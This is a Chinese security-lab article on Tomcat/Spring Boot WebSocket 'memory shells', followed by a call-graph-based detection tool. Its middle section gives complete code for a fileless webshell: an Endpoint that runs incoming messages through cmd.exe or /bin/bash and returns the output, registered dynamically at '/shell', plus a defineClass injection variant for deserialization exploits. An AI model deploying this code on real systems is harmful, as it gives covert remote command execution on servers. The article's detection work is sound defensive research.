什么是WebSocket
在传统的HTTP/1.0请求,是无状态服务的往来的通信,即是一种请求一次,响应一次的通信方式。虽然之后的HTTP/1.1长连接不同支持了三次握手之后可以发送多个请求链接,但还是一次请求对应一个响应,无法做到真正意义上的收发同步进行,且服务端无法主动发起Response给客户端。所以很多系统都是采用”轮询”的方式定时向服务端发送请求是否有新的数据产生。为了解决这类问题,继而推出了WebSocket通信方式。
WebSocket是基于TCP协议的一种网络通信协议,实现了客户端和服务端的全双工通信,也就是两个终端之间可以同时发送和接收数据,是一种双向通信方式。
SpringBoot实现WebSocket
先来搭建SpringBoot场景下的WebSocket
package org.websocket.MemoryHorse;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.context.annotation.Bean;
import org.springframework.web.socket.config.annotation.EnableWebSocket;
import org.springframework.web.socket.server.standard.ServerEndpointExporter;
@SpringBootApplication
@EnableWebSocket
public class MemoryHorseApplication {
public static void main(String[] args) {
SpringApplication.run(MemoryHorseApplication.class, args);
}
/**
* 初始化Bean,它会自动注册使用了 @ServerEndpoint 注解声明的 WebSocket endpoint
* @return
*/
@Bean
public ServerEndpointExporter serverEndpointExporter(){
return new ServerEndpointExporter();
}
}
程序使用了@EnableWebSocket开启WebSocket功能
同时在启动的时候注册了ServerEndpointExporter类的Bean,该类会检测包下面使用@ServerEndpoint注解的Websocket Endpoint,同时还能保证Servlet在扫描该Endpoint的时候可以排除掉。
之后就可以定义一个WebSocket的Endpoint
package org.websocket.MemoryHorse.controller;
import org.springframework.web.bind.annotation.RestController;
import javax.websocket.*;
import javax.websocket.server.PathParam;
import javax.websocket.server.ServerEndpoint;
import java.io.IOException;
import static org.websocket.MemoryHorse.util.WebSocketUtils.ONLINE_USER_SESSIONS;
import static org.websocket.MemoryHorse.util.WebSocketUtils.sendMessageAll;
@RestController
@ServerEndpoint("/ws/{username}")
public class TestServerEndpoint {
@OnOpen
public void openSession(@PathParam("username") String username, Session session) {
ONLINE_USER_SESSIONS.put(username, session);
String message = "欢迎用户[" + username + "] 来到聊天室!";
sendMessageAll(message);
}
@OnMessage
public void onMessage(@PathParam("username") String username, String message) {
sendMessageAll("用户[" + username + "] : " + message);
}
@OnClose
public void onClose(@PathParam("username") String username, Session session) {
//当前的Session 移除
ONLINE_USER_SESSIONS.remove(username);
//并且通知其他人当前用户已经离开聊天室了
sendMessageAll("用户[" + username + "] 已经离开聊天室了!");
try {
session.close();
} catch (IOException e) {
e.printStackTrace();
}
}
@OnError
public void onError(Session session, Throwable throwable) {
try {
session.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
该Endpoint中有四个常见事件的注解
– OnOpen:创建链接的时候触发
– OnMessages:接收到消息的时候触发
– OnClose:链接断开的时候触发
– OnError:出现异常的时候触发
在Endpoint中使用了一个Map来存放对应用户和Session的值,SendMessageAll方法对所有在线的用户发送消息
package org.websocket.MemoryHorse.util;
import javax.websocket.RemoteEndpoint;
import javax.websocket.Session;
import java.io.IOException;
import java.util.Map;
import java.util.concurrent.ConcurrentHashMap;
public final class WebSocketUtils {
// 存储 websocket session
public static final Map<String, Session> ONLINE_USER_SESSIONS = new ConcurrentHashMap<>();
/**
* @param session 用户 session
* @param message 发送内容
*/
public static void sendMessage(Session session, String message) {
if (session == null) {
return;
}
final RemoteEndpoint.Basic basic = session.getBasicRemote();
if (basic == null) {
return;
}
try {
basic.sendText(message);
} catch (IOException e) {
e.printStackTrace();
}
}
public static void sendMessageAll(String message) {
ONLINE_USER_SESSIONS.forEach((sessionId, session) -> sendMessage(session, message));
}
}
这里还需要注意一下,application.properties中如果指定了WebSocket的注册路径,使用的时候一定要加上该路径
server.servlet.context-path=/websocket
声明之后,便可以通过SPI服务提供接口调用WsSci类
@HandlesTypes({ServerEndpoint.class, ServerApplicationConfig.class, Endpoint.class})
public class WsSci implements ServletContainerInitializer {
public WsSci() {
}
public void onStartup(Set<Class<?>> clazzes, ServletContext ctx) throws ServletException {
WsServerContainer sc = init(ctx, true);
}
static WsServerContainer init(ServletContext servletContext, boolean initBySciMechanism) {
WsServerContainer sc = new WsServerContainer(servletContext);
servletContext.setAttribute("javax.websocket.server.ServerContainer", sc);
servletContext.addListener(new WsSessionListener(sc));
if (initBySciMechanism) {
servletContext.addListener(new WsContextListener());
}
return sc;
}
}
先来看看,WsSci中的onStartup调用了init方法,并在其中创建了WsServerContainer类
WsServerContainer(ServletContext servletContext) {
Dynamic fr = servletContext.addFilter("Tomcat WebSocket (JSR356) Filter", new WsFilter());
fr.setAsyncSupported(true);
EnumSet<DispatcherType> types = EnumSet.of(DispatcherType.REQUEST, DispatcherType.FORWARD);
fr.addMappingForUrlPatterns(types, true, new String[]{"/*"});
}
可以看到,WsServerContainer构造方法中添加了一个“Tomcat WebSocket (JSR356) Filter“的Filter过滤器,目标类为WsFilter。
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
if (this.sc.areEndpointsRegistered() && UpgradeUtil.isWebSocketUpgradeRequest(request, response)) {
HttpServletRequest req = (HttpServletRequest)request;
HttpServletResponse resp = (HttpServletResponse)response;
String pathInfo = req.getPathInfo();
String path;
if (pathInfo == null) {
path = req.getServletPath();
} else {
path = req.getServletPath() + pathInfo;
}
WsMappingResult mappingResult = this.sc.findMapping(path);
if (mappingResult == null) {
chain.doFilter(request, response);
} else {
UpgradeUtil.doUpgrade(this.sc, req, resp, mappingResult.getConfig(), mappingResult.getPathParams());
}
} else {
chain.doFilter(request, response);
}
}
跟进发现如果路径匹配到,则直接调用UpgradeUtil.doUpgrade方法升级HTTP协议到WebSocket
再回到WsSci的onStartup方法中,看看init之后的内容都做了些什么
public void onStartup(Set<Class<?>> clazzes, ServletContext ctx) throws ServletException {
WsServerContainer sc = init(ctx, true);
if (clazzes != null && clazzes.size() != 0) {
Set<ServerApplicationConfig> serverApplicationConfigs = new HashSet();
Set<Class<? extends Endpoint>> scannedEndpointClazzes = new HashSet();
HashSet scannedPojoEndpoints = new HashSet();
try {
String wsPackage = ContainerProvider.class.getName();
wsPackage = wsPackage.substring(0, wsPackage.lastIndexOf(46) + 1);
Iterator var8 = clazzes.iterator();
while(var8.hasNext()) {
Class<?> clazz = (Class)var8.next();
JreCompat jreCompat = JreCompat.getInstance();
int modifiers = clazz.getModifiers();
if (Modifier.isPublic(modifiers) && !Modifier.isAbstract(modifiers) && !Modifier.isInterface(modifiers) && jreCompat.isExported(clazz) && !clazz.getName().startsWith(wsPackage)) {
if (ServerApplicationConfig.class.isAssignableFrom(clazz)) {
serverApplicationConfigs.add((ServerApplicationConfig)clazz.getConstructor().newInstance());
}
if (Endpoint.class.isAssignableFrom(clazz)) {
scannedEndpointClazzes.add(clazz);
}
if (clazz.isAnnotationPresent(ServerEndpoint.class)) {
scannedPojoEndpoints.add(clazz); //扫描注解是否为@ServerEndpoint
}
}
}
} catch (ReflectiveOperationException var14) {
throw new ServletException(var14);
}
Set<ServerEndpointConfig> filteredEndpointConfigs = new HashSet();
Set<Class<?>> filteredPojoEndpoints = new HashSet();
Iterator var17;
if (serverApplicationConfigs.isEmpty()) {
filteredPojoEndpoints.addAll(scannedPojoEndpoints);
} else {
var17 = serverApplicationConfigs.iterator();
while(var17.hasNext()) {
ServerApplicationConfig config = (ServerApplicationConfig)var17.next();
Set<ServerEndpointConfig> configFilteredEndpoints = config.getEndpointConfigs(scannedEndpointClazzes);
if (configFilteredEndpoints != null) {
filteredEndpointConfigs.addAll(configFilteredEndpoints);
}
Set<Class<?>> configFilteredPojos = config.getAnnotatedEndpointClasses(scannedPojoEndpoints);
if (configFilteredPojos != null) {
filteredPojoEndpoints.addAll(configFilteredPojos); //将扫描到的类添加到filteredPojoEndpoints中
}
}
}
try {
var17 = filteredEndpointConfigs.iterator();
while(var17.hasNext()) {
ServerEndpointConfig config = (ServerEndpointConfig)var17.next();
sc.addEndpoint(config);
}
var17 = filteredPojoEndpoints.iterator(); //获取迭代器遍历
while(var17.hasNext()) {
Class<?> clazz = (Class)var17.next();
sc.addEndpoint(clazz, true); //注册@ServerEndpoint的实现类到WsServerContainer中,与WsFilter关联起来
}
} catch (DeploymentException var13) {
throw new ServletException(var13);
}
}
}
WebSocket内存马实现
之前分析WebSocket的注册过程中,知道WsFilter处理的是WsServerContainer的configExactMatchMap。所以注册WebSocket内存马的思路就是动态添加一个WebSocket路径到configExactMatchMap数据结构中去。
ServerEndpointConfig config = ServerEndpointConfig.Builder.create(EndpointInject.class, "/shell").build();
ServerContainer container = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName());
try {
container.addEndpoint(config);
}catch (DeploymentException e){
return "false";
}
return "true";
而EndpointInject.class就是我们的恶意WebSocket Endpoint,内容如下:
package org.websocket.MemoryHorse.pojo;
import javax.websocket.*;
import java.io.InputStream;
public class EndpointInject extends Endpoint implements MessageHandler.Whole<String> {
private Session session;
@Override
public void onOpen(Session session, EndpointConfig endpointConfig) {
this.session = session;
session.addMessageHandler(this);
}
@Override
public void onClose(Session session, CloseReason closeReason) {
super.onClose(session, closeReason);
}
@Override
public void onMessage(String s) {
try {
Process process;
boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows");
if (bool) {
process = Runtime.getRuntime().exec(new String[] { "cmd.exe", "/c", s });
} else {
process = Runtime.getRuntime().exec(new String[] { "/bin/bash", "-c", s });
}
InputStream inputStream = process.getInputStream();
StringBuilder stringBuilder = new StringBuilder();
int i;
while ((i = inputStream.read()) != -1)
stringBuilder.append((char)i);
inputStream.close();
process.waitFor();
session.getBasicRemote().sendText(stringBuilder.toString());
} catch (Exception exception) {
exception.printStackTrace();
}
}
}
之后访问injection注入页面,再建立WebSocket链接即可执行命令
如果遇到Shiro反序列化的利用场景,无法直接通过EndpointInject.class的方式build
ServerEndpointConfig config = ServerEndpointConfig.Builder.create(EndpointInject.class, "/shell").build();
可以使用ClassLoad的defineClass的方式定义恶意类
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
byte[] bytes = new byte[]{-54,-2,-70,-66,0,0,0,52,0,-109,10,0}; //EndpointInject.class
Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
method.setAccessible(true);
Class aClass = (Class) method.invoke(classLoader, bytes, 0, bytes.length);
ServletContext servletContext = request.getServletContext();
ServerEndpointConfig config = ServerEndpointConfig.Builder.create(aClass, "/shell").build();
ServerContainer container = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName());
try {
container.addEndpoint(config);
}catch (DeploymentException e){
return "false";
}
return "true";
一种新内存马的查杀思路
关于WebSocket内存马的检测与查杀,网上的脚本几乎都是通过遍历WsServerContainer的configExactMatchMap
@RequestMapping("/getWs")
public String getWsFilter(HttpServletRequest request) throws Exception {
WsServerContainer wsServerContainer = (WsServerContainer) request.getServletContext().getAttribute(ServerContainer.class.getName());
// 利用反射获取 WsServerContainer 类中的私有变量 configExactMatchMap
Class<?> obj = Class.forName("org.apache.tomcat.websocket.server.WsServerContainer");
Field field = obj.getDeclaredField("configExactMatchMap");
field.setAccessible(true);
Map<String, Object> configExactMatchMap = (Map<String, Object>) field.get(wsServerContainer);
// 遍历configExactMatchMap, 打印所有注册的 websocket 服务
Set<String> keyset = configExactMatchMap.keySet();
StringBuilder sb = new StringBuilder();
for (String key : keyset) {
Object object = wsServerContainer.findMapping(key);
Class<?> wsMappingResultObj = Class.forName("org.apache.tomcat.websocket.server.WsMappingResult");
Field configField = wsMappingResultObj.getDeclaredField("config");
configField.setAccessible(true);
ServerEndpointConfig config1 = (ServerEndpointConfig) configField.get(object);
Class<?> clazz = config1.getEndpointClass();
// 打印 ws 服务 url, 对应的 class
sb.append(String.format("websocket name:%s, websocket class: %s", key, clazz.getName()));
sb.append("n");
}
return sb.toString();
}
ASM函数调用图生成
项目是用JavaAgent来做的,结合了ASM来遍历所有的方法和类
ClassReader reader = new ClassReader(bytes);
ClassWriter writer = new ClassWriter(reader, 0);
ClassPrinter visitor = new ClassPrinter(writer,discoveredCalls);
reader.accept(visitor, 0);
@Override
public MethodVisitor visitMethod(int access, String name, String desc, String signature, String[] exceptions) {
MethodVisitor methodVisitor = cv.visitMethod(access, name, desc, signature, exceptions);
return new TraceAdviceAdapter(methodVisitor, access, name, desc,this.ClassName,discoveredCalls);
}
在选择器中的构造方法中会把之前的调用方法名称和类传入,并重写visitMethodInsn方法,并将调用路径存入之前的discoveredCalls中。
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
import org.objectweb.asm.MethodVisitor;
import org.objectweb.asm.commons.AdviceAdapter;
public class TraceAdviceAdapter extends AdviceAdapter {
private String MethodName;
private String ClassName;
private Map<String,List<String>> discoveredCalls;
protected TraceAdviceAdapter(final MethodVisitor mv, final int access, final String name, final String desc,String ClassName,Map<String,List<String>> discoveredCalls) {
super(ASM5, mv, access, name, desc);
this.MethodName = name;
this.ClassName = ClassName;
this.discoveredCalls = discoveredCalls;
}
@Override
public void visitMethodInsn(final int opcode, final String owner,
final String name, final String desc, final boolean itf) {
//System.out.println("MethodInsn:"+this.ClassName+"#"+this.MethodName+" -> "+owner+"#"+name);
if(discoveredCalls.containsKey(this.ClassName+"#"+this.MethodName)) {
discoveredCalls.get(this.ClassName+"#"+this.MethodName).add(owner+"#"+name);
}else {
List<String> list = new ArrayList<>();
list.add(owner+"#"+name);
discoveredCalls.put(this.ClassName+"#"+this.MethodName, list);
}
super.visitMethodInsn(opcode, owner, name, desc, itf);
}
}
public class test{
public static void main(String[] args){
System.out.println(replaceHello("Hi,Hello"));
}
public static String replaceHello(String str){
return str.replaceAll("Hello","CallGraph");
}
}
以main方法为入口函数,构造一个函数调用图
定义:有一组有向图G<V,E>,V代表该有向图中的节点,如上图中的main、println、replaceHello、replaceAll等,可以是系统定义的函数,也可能是用户编写的函数。E代表有向边的集合,如main方法中调用了println,则main->println。
查看字节码可以看到方法的调用操作,程序的函数调用图就如下图所示
使用逆拓扑排序算法判断可达性
因为我们的内存马检测思路是通过分析Call Graph调用图来判断最终执行的操作是否有Runtime.exec,因此就需要通过逆拓扑排序的方式,遍历入口方法中到Runtime.exec之间是否有一条可达的路径。但函数调用是依次递归的,如A->B->C一条调用链,A方法中又可能有X、Y、Z方法,因此并不能判断是哪个方法调用了C。
Map<String,List<String>> discoveredCalls;
String sinkMethod = "java/lang/Runtime#exec";
Stack stack = new Stack();
public boolean dfsSearchSink(String enterMethod) {
if(discoveredCalls.containsKey(enterMethod) && !visitedClass.contains(enterMethod)) {
visitedClass.add(enterMethod);
List<String> list = discoveredCalls.get(enterMethod);
for(String m:list) {
if(m.equals(sinkMethod)) {
stack.push(m);
return true;
}
if(dfsSearchSink(m)) {
stack.push(m);
return true;
}
}
return false;
}else {
return false;
}
}
public void onMessage(String s) {
try {
//故意写了个RuntimeUtils.execCommand方法,方便测试逆拓扑排序的效果。
session.getBasicRemote().sendText(RuntimeUtils.execCommand(s));
} catch (IOException e) {
e.printStackTrace();
}
}
解决JavaAgent无法反射获取字段问题
前面说到入口方法可以定成onMessage方法,但是还需要获取configExactMatchMap中注册的类,再加上onMessage关键词进行搜索。
可javaAgent中是无法通过反射获取到org.apache.tomcat.websocket.server.WsServerContainer的configExactMatchMap字段。
其原因是Spring容器在启动的时候,类是由org.springframework.boot.loader.LaunchedURLClassLoader加载的。JavaAgent中的类却是由自己的AppClassLoader加载,而LaunchedURLClassLoader本身就是AppClassLoader的子加载器,按照双亲委派,自然就出现NotFoundException错误了。
在经过分析后发现,在Spring容器初始化的时候,会把LaunchedURLClassLoader放到org.apache.catalina.core.ApplicationContext的facade字段中
于是便在ApplicationContext的构造方法返回前,调用了JavaAgent中的静态方法,再设置成全局的ClassLoader,方便之后调用。
@Override
public void visitInsn(int opcode) {
if (this.MethodName.equals(App.Change_Class_Method) && this.ClassName.equals(App.Change_Class)) {
if ((opcode >= Opcodes.IRETURN && opcode <= Opcodes.RETURN)
|| opcode == Opcodes.ATHROW) {
//方法在返回之前,打印"end"
mv.visitVarInsn(ALOAD, 0);
mv.visitFieldInsn(GETFIELD, "org/apache/catalina/core/ApplicationContext", "facade", "Ljavax/servlet/ServletContext;");
mv.visitMethodInsn(INVOKESTATIC, "com/websocket/findMemShell/App", "changeServletContext", "(Ljava/lang/Object;)V", false);
}
}
mv.visitInsn(opcode);
}
在javaAgent中的代码如下:
public static void changeServletContext(Object servletContext) {
if(App.servletContext == null) {
App.servletContext = servletContext;
System.out.println("Change servletContext: "+servletContext.getClass());
}
}
织入后,Dump的ApplicationContext类构造方法如下图所示
之后再用loadClass的方式即可获取到对应的类对象
public static List<ConfigPath> getWsConfig() {
try {
Object servletContext = App.servletContext;
if(servletContext == null) {
return null;
}
List<ConfigPath> classList = new ArrayList<>();
//System.out.println("servletContext ClassLoader: "+servletContext.getClass().getClassLoader());
Method getAttribute = servletContext.getClass().getClassLoader().loadClass("org.apache.catalina.core.ApplicationContextFacade").getDeclaredMethod("getAttribute", String.class);
Object wsServerContainer = getAttribute.invoke(servletContext, "javax.websocket.server.ServerContainer");
Class<?> obj = servletContext.getClass().getClassLoader().loadClass("org.apache.tomcat.websocket.server.WsServerContainer");
Field field = obj.getDeclaredField("configExactMatchMap");
field.setAccessible(true);
Map<String, Object> configExactMatchMap = (Map<String, Object>) field.get(wsServerContainer);
// 遍历configExactMatchMap, 打印所有注册的 websocket 服务
Set<String> keyset = configExactMatchMap.keySet();
StringBuilder sb = new StringBuilder();
for (String key : keyset) {
System.out.println("configExactMatchMap key:" + key);
Object object = servletContext.getClass().getClassLoader().loadClass("org.apache.tomcat.websocket.server.WsServerContainer").getDeclaredMethod("findMapping", String.class).invoke(wsServerContainer, key);
Class<?> wsMappingResultObj = servletContext.getClass().getClassLoader().loadClass("org.apache.tomcat.websocket.server.WsMappingResult");
Field configField = wsMappingResultObj.getDeclaredField("config");
configField.setAccessible(true);
Object serverEndpointConfig = configField.get(object);
Class<?> clazz = (Class<?>) servletContext.getClass().getClassLoader().loadClass("javax.websocket.server.ServerEndpointConfig").getDeclaredMethod("getEndpointClass").invoke(serverEndpointConfig);
ConfigPath cp = new ConfigPath(key,clazz.getName());
classList.add(cp);
}
return classList;
}catch(Exception e) {
e.printStackTrace();
}
return null;
}
在通过多线程的方式定时查询注册的WebSocket
@Override
public void run() {
while(true) {
List<ConfigPath> result = getWsConfigResult.getWsConfig();
if(result != null && result.size() != 0) {
for(ConfigPath cp : result) {
System.out.println("WsConfig Class: n"+cp.getClassName().replaceAll("\.", "/")+"#onMessage"+"n");
if(discoveredCalls.containsKey(cp.getClassName().replaceAll("\.", "/")+"#onMessage")) {
List<String> list = discoveredCalls.get(cp.getClassName().replaceAll("\.", "/")+"#onMessage");
for(String str : list) {
if(dfsSearchSink(str)) {
stack.push(str);
stack.push(cp.getClassName().replaceAll("\.", "/")+"#onMessage");
StringBuilder sb = new StringBuilder();
while(!stack.empty()) {
sb.append("->");
sb.append(stack.pop());
}
System.out.println("CallEdge: "+sb.toString());
if(getWsConfigResult.deleteConfig(cp.getPath())) {
System.out.println("Delete Class "+cp.getPath()+" Succeed");
}else {
System.out.println("Delete Class "+cp.getPath()+" Failed");
}
break;
}
}
}
}
}
System.out.println("Thread-"+count+" Running...");
try {
count++;
Thread.sleep(20000); //间隔20秒探测
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
每间隔20秒就会读取一次configExactMatchMap中的值,并进行逆拓扑排序,检查是否有恶意函数的调用。如果有,就将该恶意的WebSocket内存马删除。
总结和思考
其所所提出的一种新的内存马检测思路,是通过Java ASM动态Build函数调用图,并用逆拓扑排序的方式检测OnMessage入口方法到Runtime.exec危险函数之间是否存在一条可达路径。我总结了下,这类检测思路比较传统的检测方式有如下优点:
-
JSP检测Class文件是否落地:比较JSP的检测方式,如c0ny1师傅写的java-memshell-scanner项目。是无法结合Call Graph做到WebSocket内存马的识别,需要人工确定。再者现在很多场景都是微服务架构,因此使用更多的是SpringBoot,而SpringBoot不同与直接Tomcat部署的最大区别地方就是不支持JSP部署,只能通过JavaAgent Attach的方式加载,而结合Call Graph这种方式不仅可以检测WebSocket内存马,同时也可以支持检测传统的Controller、Interceptor(目前还未实现传统的内存马检测,如果有师傅觉得这个思路不错想自己实现可以提个pr)。
-
RASP动态获取堆栈信息回溯:目前业界很多RASP也集成了WebShell和内存马的检测功能,就像我之前研究的检测思路一样,很多情况是通过堆栈信息回溯的方式检测。当然,这种方式是一次Request就获取一次堆栈信息,因此对内存的开销也会很大。而用Java ASM提前遍历出的Call Graph除了占用点空间以外,无需每次请求都重新获取一遍函数调用情况。
还可发展的方向(欢迎提交Pr):
-
目前暂未支持Controller、Interceptor、Filter、Servlet等内存马检测算法。
-
目前可以支持Attach Agent,但是还未实现Self Attach JVM的方式运行。
-
目前Sink函数只有Runtime.exec,还可以添加其他恶意函数进行检测。
项目地址:https://github.com/sf197/MemoryShellHunter
Reference
[1].https://blog.csdn.net/shida219/article/details/126677334
[2].https://zhuanlan.zhihu.com/p/419738104
[3].https://www.docs4dev.com/apidocs/zh/spring/4.3.30.RELEASE/org/springframework/web/socket/server/standard/ServerEndpointExporter.html
[4].https://www.cnblogs.com/love-wzy/p/10373639.html
[5].https://docs.oracle.com/javaee/6/api/javax/servlet/ServletContainerInitializer.html
[6].https://github.com/c0ny1/java-memshell-scanner/pull/4
[7].https://www.cnblogs.com/zpchcbd/p/16513851.html
[8].https://veo.pub/2022/memshell/
[9].https://juejin.cn/post/7067363361368834061
[10].https://zhzhdoai.github.io/2020/10/08/Tomcat-Servlet%E5%9E%8B%E5%86%85%E5%AD%98shell/
[11].https://www.bilibili.com/read/cv13433468
[12]赵丹. 基于静态类型分析的Java程序函数调用图构建方法研究[D].湖南大学,2006.
[13]景延琴. 基于函数调用图的Android程序相似性检测[D].东南大学,2019.DOI:10.27014/d.cnki.gdnau.2019.003241.
版权为凌日实验室所有,未经授权其他平台请勿转载
凌日实验室公众号征集,实战攻防,代码审计,安全武器开发等技术输出文章
原文始发于微信公众号(凌日实验室):从WebSocket内存马中探究一种新的内存马检测算法